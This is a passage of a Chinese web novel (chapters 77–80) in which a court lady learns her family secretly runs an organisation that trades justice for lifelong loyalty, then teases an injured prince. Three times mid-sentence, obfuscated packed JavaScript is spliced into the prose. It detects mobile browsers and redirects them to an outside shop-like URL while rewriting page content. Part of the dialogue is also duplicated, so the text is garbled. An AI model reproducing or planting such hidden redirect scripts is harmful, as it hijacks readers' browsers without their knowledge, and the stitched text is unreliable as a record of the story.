“哎呀，我就说我说不出口！”乔望舒搡了苏予夺一把，自己站起身，转身就往外走，“你们说，我到厨房找栾嫂子说一会儿话去。” “诶——”苏予夺望着妻子快步逃离的背影，无奈地抿了抿嘴，把到嘴边的话咽了回去。 他回过头，正对上苏萦那双眨巴着的大眼睛——惴惴的，惶惶的，两手缩在胸前，等着父亲揭晓答案。 “行了行了，别紧张，也不是什么大事。”他从怀里掏出叠得整整齐齐的三张纸，放在桌上，“看看吧。” 苏萦心惊胆战地伸出指尖，把那几张纸拖过来。 “这是……刑部的结案文书？抄这个给我看干什么？”苏萦粗略翻看一番，便不耐烦地从满篇枯燥的文稿中抬起头。 “有点儿耐心！”苏侯循循善诱：“这三桩案子，跟你关系可大了。” 【卷壹·科举舞弊案】 原案：三年前春闱，有寒门考生六人联名状告主考官副都御史 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249690|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵文清受贿泄题，卖官鬻爵。查办数月，因“证据不足”不予追究，赵文清官复原职。告状考生中，两人以“诬告”入罪，杖责后病死狱中；一人发配边关，途中不知所踪；余者或被安抚，或销声匿迹。 疑点：据幸存者家属多年上访称，赵文清收受贿银金额甚巨，经官府调查，既未有钱庄存蓄记载，亦未在其府中查获，去向成谜。而当年科举榜单上，确有七名亲贵子弟名次异常蹿升，其中三人此前屡试不第。 关键证据：近日，忽有匿名者向刑部提报关键物证——凝香斋购得的一盒错字墨，墨锭凿开后内藏金块。经查，此批错字墨系三年前京城“松烟阁”工匠受匿名客定制，以“墨中藏金”方式完成隐蔽利益输送。定制者、经手者、及当年本应收到此批墨锭的七名“买家”，现已一一落网。 复审结果：赵文清及涉案官员十二人，悉数下狱。此案重审，当年被篡改成绩的寒门考生中，二人已死，一人发配边关未归，幸存者三人，功名追复。天子震怒，诏令彻查，举朝肃然。 ——— “爹就是那提供证据的匿名者？”苏萦看完，一把将那纸页合在胸前，神情骇然。 “不，你是。”苏侯望着女儿悠悠地说，“爹可不会抢你的功劳。” “可这是刑部的案子，爹怎么会掺和进来？是……是舅舅托你的？” “这是质心阁的买卖，和你舅舅什么相干？”苏侯嗤嗤地笑了，“十七皇子，不是一直好奇质心阁是做什么的，托你向我打听吗？喏，这不就是？” 苏萦不知这话是如何扯到“质心阁”上去，茫然地望向父亲。 “他们走投无路，求告无门，若能伸张冤屈，愿为我质心阁死士——” “——以命相酬。” 苏侯从怀中掏出三张质心契，拍在两人之间的小几上： “这东西，萧征早就给你看过了，对吧？” “质心阁就是你开的？！” 苏萦惊得跳了起来，又慌忙捂住嘴，往门外扫了一眼。 “是咱们家开的。”苏侯波澜不惊，“咱家的买卖多了，你又常年在宫里，怎么可能让你全知道。” “这算什么买卖？”苏萦一时没法接受，脑子里全是乱的，“这根本就是在——” 买人命。 这个念头更把她吓了一大跳。 “……咱们要他们的命干什么？” “不是要他们的命！是要他们的忠心！”苏予夺难得地敛了笑脸，“未晚啊，这世上除了爹娘，你敢让任何一个人摸着良心说，他对你是忠心不二的吗？” “可是，就算咱们帮了他们，帮了他们天大的忙！他们……就一定忠心吗？” “当然要事先验过。”苏侯满不在乎地把衣摆一抖一拍：“你爹看人的眼光不错，这生意做了十几年了，还没有过太走眼的时候。” 他又笑起来，望向女儿的眼神中满是欣赏：“爹知道，咱家大姑娘的眼光比爹的还要强的多。等爹百年之后啊，就打算把它留给你。” 苏侯啪地把那三个小木片一丢，坐着往后蹭着退了几步，摇头不迭，“我可做不来！” 77.“怪只怪，他去了不该去的地方。” “问什么？” “……啊。”苏萦一愣，旋即醒悟过来：帮萧征问质心阁。 简直像是上辈子的事了。时间拉得太长，一路上又经历了这么多事，她都忘了本来是为了什么自己才这样一通奔忙。 “我不问了。”昨日的委屈猛地涌上心头，她负气地把那三张纸一摔搭，嘴巴噘得能挂油瓶，“他什么都不跟我说，我凭什么还帮他问！” “嗯？”苏予夺好整以暇地挑了挑眉，“那你不是白帮爹办了三件差事？爹做生意诚信为本，向来是有诺必践，说话算话。你不听了，咱们这账怎么算？” “不听不听，我偏不听！”苏萦两手捂住耳朵，把身子拧到另一边去，后脑勺对着他。 “行吧。”苏予夺一振袖，装模作样地长吁短叹起来： “可怜十七皇子孤军奋战，没头苍蝇一样地乱撞。名声坏了不说，又受了皮肉之苦，现在还趴在床上起不来。结果是收效甚微，什么都没查出来啊。” “爹是说……”苏萦果然狐疑地转回身来，“萧征出宫，就是为了查质心阁？” 苏侯无辜地一努嘴：“所以，”他拖着长腔，“听——不——听？” “听听听！”苏萦刷地凑到他面前来，眼中一下盛满了好奇。 “不过爹可提醒你，”苏予夺竟难得收起笑脸，正色道，“此事事关重大，知道得多，不见得对你有利。听了可容易后悔。” “听不听的，选择在你。”苏予夺直视着她，“机会只有一次。买定离手。” 故弄玄虚。苏萦心里不屑，不耐烦地点头如小鸡啄米：“听听听！” “传言十七皇子夜探晋王府，在晋王的书房内发现疑似自己的私印。不知他为何认准了他的印是晋王偷的，就朝着错的方向一去不返地查去。” “错的方向？”苏萦皱起眉头，“何以见得？我有还哥哥挺聪明的。萧谅屡屡害他，除了萧谅，还会有——” “我。” 苏侯突然摊开手掌，那枚熟悉的小东西赫然在他掌心上： “他的私印，一直都在我这里。” “你？！” 苏萦不可置信地跳起来，一把从他手心里抢过印信，拿在手里仔细端详。 不会错。这印才做好时，她和萧庆闹着要看，争抢时掉到地上，印上的虎头磕掉了一角。萧征虽然当时嘴上不说，之后默默生了好几天的气。 她低头看看那枚印信，又抬头看看父亲，半天没说出话来。 “……可是？”她摩挲着虎头上的细小缺口，六神无主地失声道，“爹！为什么呀？他可因为丢了这个多挨了好几下打呢！” “怪只怪，他去了不该去的地方。”苏侯沉吟一声。 不该去？ 苏萦皱着眉头略一思索，立马倒抽一口凉气，警惕地朝门前望了一眼，探身到苏侯面前紧张地小声问，“那质心阁……与咱们家有关系？” “放心，关系不大。”苏侯朝苏萦挤挤眼睛。 “吓死我了！” 苏萦长长地松了口气，嗔怪地噘起小嘴，端起桌上的茶盏赶忙喝了一口，润润刚才紧张到发紧的喉咙：“不大就好——” “是啊，”苏侯兀自开朗，双手拍了拍膝盖，“等我老了，干不动了，就把它交到你手上。那时候我就彻底撇清关系——” “噗——！” 苏萦一口茶水喷出来：“……把什么交到我手上？！” “质心阁啊！”苏侯两手一拍一摊，一副“果不其然”的嫌弃神色，“难怪娘娘说你上课总是走神，你看，爹在这儿面对面跟你说话，你都——” “不是才说关系不大吗？！”苏萦的声音尖锐得简直变了调。 “爹是掌柜，具体的事务当然有下面的人去忙活，不用爹怎么操心！”苏侯仿佛随口说着一件无关紧要的事：“等你坐到这个位置上自己就知道了，掌柜是最好干的——” “等一下等一下。”苏萦几近崩溃地再次抬手打断父亲的话，头脑中一团乱麻，双手抱头确认事实，“你是掌柜。那质心阁根本就是咱们家开的？！萧征要查的就是你啊爹！” 她想问的太多，一时简直不知道从何问起。 “我当初就是帮萧征随口一问，怎么就……怎么就查到咱们自己家来了？我都不知道质心阁是干嘛的，就突然说什么要交到我手上……你……我……爹，咱们是坏人吗？”苏萦苦着脸弱弱地问。 “别忙别忙，”苏予夺摆摆手，笑呵呵的，“爹不正要从头跟你讲嘛。” 苏萦哭丧着脸，逃避地又用两手捂住耳朵：“哎呀，我，我忽然不想听了。” “哎？”苏侯夸张地模仿起刚才苏萦点头如捣蒜的动作：“刚才谁说：‘听听听’！这会儿就打退堂鼓？” “那刚才，我……”苏萦苦着脸，眼珠叽里咕噜乱转。 “晚了。”苏予夺双臂一抱，“小店是一锤子买卖，概不退换。” “嗯哼～～”苏萦认命地往后一倒，瘫到炕床上，幽怨地拖着长声抗议，“爹真讨厌！奸商！大奸商！” 苏予夺玩味地笑着，坐着喝茶，耐心等苏萦自己天人交战了半天，终于把心一横坐起身，可怜巴巴地看向他：“……说吧？” “知无不言。”苏侯朝女儿一抬手，等着她先发问。 “咱们是坏人吗？”苏萦直截了当。 “不好说。”苏侯气定神闲地摊手。 好家伙，有些事不是非黑即白。苏萦翻了个白眼。 才笑话完郭娑呢，如今我倒也穿上灰色了。 “质心阁是做什么的？” “刚不是给你看过了？”苏侯点点桌上的三张纸。 “这些都是质心阁的手笔？”苏萦复又捡起刚才的震惊，在脑子里拢了拢这几件事，兴奋起来，两眼中都有了光亮：“那我们岂不是惩歼除恶，替民申冤的正义之士？” 苏予夺却没笑，反倒冷哼一声：“你去问问你有还哥哥，在战场上杀敌立功，可杀的全是穷凶极恶之人？” 苏萦明白其中意思。阵营立场不同，难免有无辜之人卷入其中。 “……可我们也算是做善事嘛。”苏萦嗫嚅着辩白。 “爹可不是什么大善人。”苏侯的眼光几乎是冷的：“若无利可图，何苦费这么大的周章为他们复仇申 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268364|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冤。” 他盯着女儿茫然的表情，徐徐地说：“他们走投无路，求告无门，若能伸张冤屈，愿为我质心阁死士——” “——以命相酬。” 苏侯从怀中掏出三张质心契，拍在两人之间的小几上： “这东西，萧征早就给你看过了，对吧？” 那一张一张隐隐散发着香气的小木片，原来是那些人的卖身契？苏萦神情骇然。 这也是父亲的一桩生意，买卖的，是那些人的命。 这个念头把她吓了一大跳，她感到周身一阵恶寒。 “……咱们要他们的命干什么？” “不是要他们的命！是要他们的忠心！”苏予夺脸上现出一副好笑的神色，“未晚啊，这世上除了爹娘，你敢让任何一个人摸着良心说，他对你是忠心不二的吗？” “可是，就算咱们帮了他们，帮了他们天大的忙！他们……就一定忠心吗？” “当然要事先验过。”苏侯满不在乎地把衣摆一抖一拍：“你爹看人的眼光不错，这生意做了十几年了，还没有过太走眼的时候。” 他又笑起来，望向女儿的眼神中满是欣赏：“爹知道，咱家大姑娘的眼光比爹的还要强的多。等爹百年之后啊，把它留给你准没错。” 苏萦“哗啦”把那三个小木片往外一推，坐着往后蹭着退了几步，摇头不迭，“我可做不来！” 苏侯看着她那副如临大敌的模样，忍不住笑出声来。 “好好好，做不来做不来。”他摆摆手，笑嘻嘻地再问，“那将来有这样的差事，叫你跑跑腿，你还愿意吗？” 苏萦咬着嘴唇，不吭声。 她脑子里乱得很。 “……我能告诉萧征吗？”她低下头嗫嚅，又抓起那枚私印在手里无意识地把玩。 她很想找个人说说，说说今天她的所见所闻有多么离奇，让她直到现在还恍恍惚惚地不敢相信。 “为什么想告诉他？”苏侯的声音听起来并没含着反对。 “他那么想知道。” 而且查的方向全不对。 何况—— “……我们做的是好事呀。”她的头更低，自己心里都有点不大确信。 “未晚，”苏侯的声音低下来，不再有方才的戏谑，“你想想，质心阁做的是什么？” 苏萦张了张嘴：“你也才跟我说了一点儿……无非就是……替人申冤嘛。” “替什么人？” “……走投无路的人。” “被谁逼得走投无路？” 苏萦的喉咙像被什么堵住了。 苏侯替她说了下去。 “被那些走捷径的，吃身份红利的，手眼通天的达官贵人们。被那些一句话就能让寒门子弟家破人亡，一个眼色就能让证据‘不翼而飞’的权贵们。被那些——和萧征坐在同一条船上的人。” 苏萦的脸白了。 “质心阁替人申冤，申的是谁的冤？是那些被权贵踩在脚下的人的冤。”苏侯的声音不重，字字句句的分量却都不轻，“那咱们对抗的是谁？” 他顿了顿。 “是皇权。” 78.难道让我帮他们刺杀皇帝吗？ 那两个字落下来，屋子里静得能听见炭火轻微的噼啪声。 “可是你和舅舅也是权贵，舅母和母亲，还有我，我们也算皇亲啊？我们没有和萧征坐在一条船上吗？”苏萦惶惶然地争辩：“爹，萧征不是坏人！他跟那些饱食终日的亲贵子弟都不一样！前日地动，我亲眼看见他爬进瓦砾堆里把那新生儿抱出来，他还跪地替那孩子拜别父母呢！我跟他实话实说，他肯定会理解的！” “萧征是皇子，”苏侯看着女儿，“这是他不争的身份。他流着皇室的血，吃着皇室的俸禄，将来要替皇室办事。他今日同情那些寒门子弟，明日呢？后日呢？当质心阁的存在真正触动了天家利益，他会站在哪一边？” 苏萦失落地低下了头。 “他不知道，反倒是对他的保护。”苏侯的声音放缓了些，“他若知道了，他怎么办？是睁一只眼闭一只眼，还是大义灭亲？他若选前者，他这辈子良心不安；他若选后者，咱们怎么办？” 苏侯起身，踱到女儿身边，从她手中轻轻拿过那枚私印： “他查得太近了，近到快摸着咱们的门槛了。这回只是给他提个醒——再往前走，就不只是偷走印信这么简单了。” 苏萦盯着那方小印，心里像被什么东西狠狠攥住了。 她想起萧征那些欲言又止的眼神，想起他说的“等我查清楚了，能说的我都告诉你”。他那么努力地想查出真相，却不知道真相就在她手里。 可她不能说。 说了，他就危险了。 说了，质心阁就危险了。 说了，爹和娘就危险了。 她张了张嘴，喉咙里像堵着一团棉花。好半天，才挤出一句话： “……我不告诉他。” 那声音轻轻的，却把她自己吓了一跳。 苏侯看着她，目光里闪过一丝心疼。 “未晚，”他放软了声音，“爹不是要逼你。” 苏萦低着头，不说话。 苏侯叹了口气，伸手轻轻揉了揉她的头发。 “你才多大，就要保守这么大的秘密，真是委屈你了。” 苏萦的鼻子忽然一酸。 “等你们成婚以后，”苏侯的声音从头顶传来，带着一点笑意，“无话不说的时候，你慢慢渗透给他，也无妨。” 苏萦抬起头，眼眶红红的。 苏侯低头看她，那张总是笑嘻嘻的脸上，此刻满是温柔。 “那时候，他就是自己人了。自己人，就该知道自己家的事。” 苏萦咬着嘴唇，轻轻点了点头，眼里似乎又闪起期待的光亮。 苏侯收回手，转身走回小几旁，把那三张刑部文书叠好，和那三张质心契一起揣回怀里。 “这个，你留着吧。”他把那印信又放回苏萦的手心上，“不过，可别怪爹没提醒你——” “谁归还他的印信，谁就是质心阁的人。” “行了，”他拍了拍衣襟，像完成了一件大事一般长出一口气，“爹走了。你娘还在外头等着呢。” 他走到门口，忽然又停住，回过头来。 “未晚。” 苏萦抬头看他。 苏侯弯了弯嘴角，那笑容里带着一丝狡黠，和一点藏不住的得意：“若之后有委托涉及宫中，还望华容郡主鼎力相助啊。” 不等她回答，门开了又合上。 苏萦一个人坐在屋里，望着那扇门，久久没有动。 这一天仿佛过得特别快，稀里糊涂就混过去了。 晚饭过后，栾嫂子带着人挑豆子泡豆子，预备明日熬腊八粥。苏萦把房里的姑娘都赶过去帮忙。她自己留在房里，按着自己编的索引从书架里找出几册话本看，也看得心神不宁。连翻了几本，情节都大差不差：一双男女，或是青梅竹马，或是天降良缘，本是珠联璧合，浓情蜜意，忽地降下国仇家恨，背叛，误解，欺瞒，随后就是针锋相对，恨海情天，痴男怨女……她啪地把书扔下。 书“咚”地落到地上自己合上，又是一本不出破绽的《道德经》。 连书都是假的，都是为了骗他。 她索性颓然往床上一倒，扯过被子蒙头睡下。 两眼一闭，那些乱糟糟的念头就更都涌了上来。 萧征为什么要查质心阁？兴许爹知道呢。白天多问些好了。明天自己去问吧？又怕哪句话说不好，引他起疑心。 爹临走时说的那句什么意思？我在宫里能帮上什么忙呢？ 难不成，让我帮他们刺杀皇帝？ 想到此处，她自己都被自己的想法荒唐得轻笑一声。 虽然，这世上恨陛下的人一定很多。他活了七十多岁，足够得罪很多人了。谁会不对一个能决定天下所有人生死的人又恨又怕呢？ 她想起温郎中新制的药丸，黑油油亮晶晶的。送进宫中的时候她正好看了一眼。那也算是他们一行人这一个多月东奔西走，九死一生得来的心血。她活了这十几年，没自己买过东西，没逃过命，没扮过男人，没在那么多稀奇古怪的破烂地方歇过脚。如今回到宫里，好像被抓回笼子的鸟，笼门一关，布套一罩，便疑心从前看到的广阔天地全是大梦一场，自己从没离开过这密密匝匝的竹条笼子。 她翻了个身对着床里，看床幔上投着自己的影子。门外，姑娘们说说笑笑地一路走回来，蜜合先推开门，见她面朝里躺着，以为她看书看睡着了，忙赶后面的姑娘出去，自己蹑手蹑脚进来，把床上地上散落的书收拢了。熄了两盏主灯，只留架上一盏铜鎏金吐水金鱼座紫檀宫灯照明。苏萦不喜欢黑黢黢的，即使在夜里睡觉的时候，房中也总要有点亮。蜜合把香点上，茶添满，便退回到外间榻上点一盏小灯做女红。 苏萦静静地躺着，没有叫她，屋里暗，怕突然出声吓她一跳。 苏合香的味道袅袅地飘进来，苏萦在床上翻腾着，一点睡意也无。 那药真的能给陛下延寿吗？ 一个吸着全家的血苟延残喘的老蚂蝗精用过的药罐，一片有不知多少稚儿葬身于此的鬼荒地种出来的甘蔗，一个从废墟里拖出来，还不足月就父母双亡的孤儿的童便。 什么生发之气，烟火阳气，分明是森森鬼气，冲天怨气……哪配做治病的药引，做害人的毒药还差不多。要是拿这药给她吃，她可是不敢咽下去的。 外间的灯熄了，蜜合也歇下了。苏萦自己蹑手蹑脚地下床，到茶桌边自己倒一杯紫苏饮子，小口啜饮着，两眼盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273253|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那盏宫灯。夏天的夜里把它放在花园里，把小池中的水引过来，那鎏金鱼嘴里真会吐水的。 明年的夏天不知在哪儿过呢？她一闪念，有些期许，又有些紧张。 陛下和母后看那样子，都还不急呢。萧征还没有立府，婚期自然不好定准。她是二月里的生辰，转过年来就到了，不知母后把她的及笄礼定在什么时候？她宁愿是开春以后，天暖和些，穿衣裳好看，不必这么臃肿，一层套一层，窝窝囊囊的傻气。 这三桩生意做成，爹全都算到你头上。 父亲的话音突兀地在脑中响起。 未晚啊，你现在手下有十个死士了。这十个人，任你差遣，你想怎么用就怎么用。将来你成了亲，若丈夫对你不好，你让他们趁夜杀了他，他们也是绝无二话的。 苏萦咀嚼着父亲的话，生平第一次一夜都未能安眠。她都不认识那十个人，可他们现在愿意为了她去死了。这世上怎么有这么离奇，这么不公平的事儿？ 天亮了，小厨房的腊八粥熬好了，馥郁的香气热腾腾地飘进来。 照例第一碗要盛给她的。朱樱兴冲冲地给她端进来，浓浓的一碗，加了老大一块冰糖。 她昏头涨脑地爬起来，搅和搅和吃了一勺，甜得发苦。 “我不饿，你们吃吧。”她皱着眉头把碗一推。 “郡主不舒服吗？” “这粥煮的不好吃？” “郡主担心十七殿下？” “十七殿下如今在皇后娘娘眼皮底下盯着，想必不会出什么岔子的。再说，娘娘就算再严厉，殿下毕竟是亲生儿子嘛。” 姑娘们都围上来，七嘴八舌地关心她。 “没有，我昨晚没睡好，要再补一觉。” “郡主把冰吃了再睡吧？‘吃了腊八冰，一年不生病。’这彩头要沾沾嘛！”朱樱拿过一个小瓷罐，里面是敲好的碎冰块。 “嗯。” 苏萦随手拈起一块来塞进嘴里，敷衍了事。 “嗯！” 吃得太急，冰得她脑仁儿疼！苏萦从头到脚打了个寒战，“咕噜”把冰咽了下去。 姑娘们担心的眼神追着魂不守舍的自家主子，看她直挺挺站起来一径走回床边去。 “我先睡了啊！要是母后没派人来叫我，今儿谁都别喊我起床。”苏萦维持着最后一丝清醒扑到床上，咕哝一句，顷刻就入了梦乡。 这一日倒是风平浪静，一直到天色擦黑，皇后那边才差人来叫，让郡主过去一起用晚膳。 花厅里摆上一张小圆桌，皇后，萧庆，苏萦，三位主子各居一隅，皇后对面的座位空的刺眼。 “哥怎么还不来？”萧庆抻着脖子朝外望。 步皇后没吭声，苏萦正不想跟萧征打照面，心虚地连忙为他开脱：“他伤得那么重，不来就不来嘛。再说……他一向不喜欢粥里放豆子。” “我没叫他。”步皇后淡淡道，眼皮也没抬一下。 “……哦。”苏萦缩了缩脖子。 “娘，我去看看哥。”萧庆坐不住，急吼吼地要起身。 “坐着。”步皇后眉头微蹙，一瞥另一边极力降低存在感的苏萦：“未晚，一会儿用完膳，你去给他送碗粥。” 79.“为什么是软软的！” “啊？我去吗？”苏萦吓得一激灵，搅粥的勺子都差点飞了，又赶忙稳住心神低声答：“……是。” “这回，送了就赶快回来。”步皇后的话音中满含着揶揄敲打的意味。 “催我赶快回来还偏支使我去送！”苏萦跟着玉栖宫的侍女去取粥，忍不住气哼哼地小声抱怨。 都说了他不爱吃有豆子的粥了！皇后娘娘这做母亲的怎么还没我记得清楚！ 话又说回来了，有粥喝也总比饿着强。 她一径跟到厨房去，想看看还有没有别的吃食给他带点儿。 还没等进厨房的门，厨娘就端出粥罐并碗勺走了出来。侍女正要接过，苏萦忙道：“等一下！”快走几步上前来，皱着眉头央求：“嬷嬷，十七殿下不爱喝腊八粥，给他拿点别的吧！” 厨娘一笑：“郡主放心吧，这粥是娘娘嘱咐过，单给殿下熬的。” 苏萦一惊，将信将疑，掀开罐盖看了看，用勺子捞了两下，果然不见豆粒。 什么嘛，嘴上不说，到底还是心疼儿子的。苏萦心领神会地撇了撇嘴。 到了后庑房门前，苏萦把那侍女赶走，端着托盘对着门板给自己打气。 本来质心阁就一直在做好事嘛，不怕他查！ 再说了，是他先什么都不跟我说的！他在查什么，我小丫头片子怎么会知道呢？帮不上他什么忙，也怪不得我咯？ 等推门进去的时候，心里的包袱已被她松松爽爽丢到一边去了。 屋里点了两盏灯，不算亮，也不算暗。地龙烧得旺，暖意融融的，和外头的腊月寒天简直是两个世界。 萧征趴在榻上，听见动静，微微侧过头来。 他渴了半日了。 从醒来到现在，他一直趴着，背上疼得不敢动，又不愿叫人——叫人来干什么？来看他的笑话？他还没落魄到那个份上。哪怕是上辈子油尽灯枯之时，他也没开口求过谁帮他一把。于是就这么干熬着，偶尔伸手够一下床边那只空空的吸杯，好像杯里能自己变出水来似的。 苏萦进来的时候，看见的就是这副场景。 年轻有为的永宁王，此刻像只翻不了身的大乌龟，艰难地伸长手臂够那只杯子，够了两下没够着，手又缩回去了。 她差点没忍住笑。 还不如牲口房里聪明点的大狗呢，饿了都还知道敲饭盆。 萧征听见脚步声，一抬眼，正对上苏萦那双亮晶晶的眼睛。 他看她面色平静，拿不准她心绪如何。前日夜里的的事还历历在目，她在自己身边睡着，小手握着他的手指。 她朝他走过来，他莫名心虚，目光躲闪着，反手把身上的被子往上拉了拉。 “这屋里也不算冷，盖这么严实做什么？”苏萦疑惑的话音未落，目光落到萧征身上，像被烫了一下似的赶忙移开了。 萧征背上的伤口已经止血结痂，拆去了包扎的细麻布，就这么赤膊伏在床上。 房中的灯不算亮，可也足够看清。 那满背纵横交错的鞭痕，从左肩胛拉到右腰侧，一道一道狰狞地覆在他紧实的肌肉上。新结的痂是深褐色的，边缘还带着淡淡的红晕，像一幅刚刚画完的画，墨迹还没干透。 有些地方痂皮薄些，隐隐透出底下新生的淡粉色，随着他的呼吸，那伤痕也跟着微微起伏。 那背上不只有伤痕。 伤痕之下，是紧实得如同绷紧的弓弦般的肌肉。肩胛骨的位置，两块斜方肌隆起又收束，随着他微微侧身的动作，牵动着一道道鞭痕轻轻移动。脊沟深深凹下去，两侧的背阔肌饱满而流畅，一直延伸到腰际，收进被子里。 那腰—— 苏萦的目光不自觉地往下滑了一寸。 被子盖着，看不见。可她刚才瞥见的那一眼，已经足够让她知道，被子底下藏着什么。 那是男人的腰。 不是萧庆那种细伶伶的少年身板，也不是那些养尊处优的宗室子弟松垮垮的腰身。那是真正练过的，在沙场上滚过的，能拉开硬弓的腰。 她的脸忽然有点热。 “昨日回去，母后有没有罚你？” 萧征的声音低低地传来。 苏萦没回答，把他手边的吸杯拿过来倒上水：“先喝水还是先喝粥？” 萧征微微侧着头看她。她垂着眼倒水，烛光落在她脸颊上，那上面有一层极淡的绯色，她的动作也有些僵硬，拿壶的手腕一抖，倒洒了不少。 “……我这样子，吓着你了吧。”他带着点歉意，又很有些羞赧地垂下眼眸。 “没有啊。” 苏萦的声音懒懒的，带着点笑意。她在他榻边蹲下来，把水递给他，歪着头打量他背上那些伤痕。 “宫宴上的鱼脍不就是这么切的？” 萧征差点呛了一口水。 “鱼背上切了花刀，让人自己撕着吃，比片好了放在盘里的吃起来要新鲜。鱼皮脆脆的，我最喜欢了。” 她说着，目光在他背上慢慢逡巡，从肩胛骨那道最长的鞭痕，一直滑到腰际那几道交错的短痕。 “现在要是有双筷子，”她喃喃地，语气里带着几分认真，几分遐想，“我马上就从你背上夹起一片肉来，蘸着油拌着葱丝吃一口。” 萧征看着她那副模样，仿佛说着想着，真要滴下口水来了。 他翻了个白眼。 “小没良心的，”他哭笑不得地叹一口气，“还取笑我。” “谁取笑你了？我说真的。” 苏萦忽然往前凑了凑，作势要掀开他身上的被子：“让我看看，先吃哪块好呢？” 萧征吓了一跳，本能地倾身去抢被子——他满身的伤，哪有目的明确的苏萦动作快，身子一动，被子滑下来大半。 那精壮的胸脯就这么暴露在昏黄的烛光里。胸肌饱满紧实，中间一道浅浅的沟壑，随着他急促的呼吸微微起伏。再往下，是块块分明的腹肌，整整齐齐排到腰际，人鱼线隐没在被沿之下。皮肤不算白，是那种常年日晒后留下的暖棕色，衬着烛光，像抹了一层薄薄的蜜。 苏萦的眼睛亮了。她等的就是这个！ 就在萧征手忙脚乱去扯被子的瞬间，她声东击西，另一只手极快地探过去—— 在他左胸上揉了一把。 “！！” 萧征整个人像被雷劈了，僵在原地。< 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萧征强壮但无助，羞愤欲死。 他空有一身力气，可此刻被这小女流氓堵在榻上又揉又戳却一点办法也没有，简直比战场上被敌人围了还要命。 “我……我喊人了！”他狼狈得声音都变了调，威胁都气势全无，“苏萦！我真喊人了啊！” 太好欺负了吧！ 简直不知道是激发出她人性的恶还是心底的色了。 苏萦坐在榻边，把小手轻轻搭在那团大被子上循循善诱：“哥哥～母后给你送的粥你不喝了吗？” “我不喝！你快出去！”被子里的人不知外面“敌情”如何，无助又懊恼地踢蹬着两腿为自己造势。 苏萦被他这狼狈样逗得咯咯笑，双肩直颤。等她笑够了，目光慢悠悠地在他露在外面的那一小截脖颈上溜了一圈。 那脖子也红了，红得透透的，连后颈那道被遮住一半的鞭痕都显得没那么狰狞了。 今晚这趟，真是来得值了。 “好了好了，不摸就不摸，小气鬼。我走了，你别闷坏了。” 萧征从被子里露出两只眼睛，警惕地盯着她。 苏萦转身去端托盘，把那碗腊八粥放到他床边的小几上。 “喏，粥给你放在这儿了。母后特意让厨房给你熬的，没放豆子的哦。小气鬼，腊八安康。” 苏萦走到门口，手按上门闩，忽然又猛地回头看。 萧征还缩在被子里，只露出一张红透了的脸，那双警惕又慌乱的眼睛一和她对视，马上又缩回被子里进入戒备状态。 “哥哥～”苏萦小小声地唤。 萧征怨念满满的脸又露出来：“干什么？” “其实——” “——不绷紧比较好摸！” 她朝他做个鬼脸，迅速拉开门，闪身跑了出去。 门板合上，屋里又只剩萧征一个人。 他身心俱疲地长出一口气，把脸埋进被子里，发出一声闷闷的，不知是哭是笑的呻吟。 80.“戏班子来了没有？” 今年恰逢圣上即位五十年，又是大病初愈，过年自然要好好庆祝一番。最近，各宫里都传说，宫中要来戏班子了。是正经唱戏的，江南最卖座的戏班子。不是小太监们攒的那种“内班”，一个个嗓子吊得尖尖的，听起来刺耳又瘆人，像发情的猫。 从前跟着皇上蹭戏看，翻来覆去的总是听那几出《长坂坡》《三岔口》《英雄会》，台上打个没完，闹闹吵吵，锣鼓敲得越急越听得人想睡觉。这一回可不同了，皇后娘娘早有话在那里：等江南的戏班子来了，大年初一给皇上唱一晚上，之后一直到出宫之前，都让后宫的姑娘们自己点，点什么唱什么。那就是有机会听点郎情妾意的《西厢记》《牡丹亭》了。嫔妃们公主们，心里都活泛起来，都巴望着戏班子早点来。 苏萦的门槛最近简直让人踏破了。她这住处离畅音阁最近，站在院门口一抬眼，就能看见那塔楼的尖顶。戏班子来了，一定先安置在那儿。珉雪雨酥，还有平日简直没说过几句话的贵女们，最近都乐得来苏萦这儿坐坐。 “听说了吗，戏班子来了没有？”每一个人来，都装作满不在意地随口一问，眼睛却直往院门口瞟。 苏萦坐在屋里，捧着茶盏，懒洋洋地朝外头喊一声：“朱樱，去看看。” “哎！” 朱樱脆生生地应一声，撒腿就往外跑。 不出一炷香的功夫，她又跑回来： “没来呢！不过那戏台子搭起来了！” 过两日，又来一波人。 “朱樱，去看看。” “哎！” 跑出去，跑回来。 “没来呢！不过那布景搭上了！” 再过两日。 “朱樱——” “没来呢！”朱樱自己都会抢答了，笑嘻嘻地往院里一站，“不过畅音阁的门打开了，我远远瞧见有人在里头扫地！” 朱樱跑得勤，却从不嫌烦。 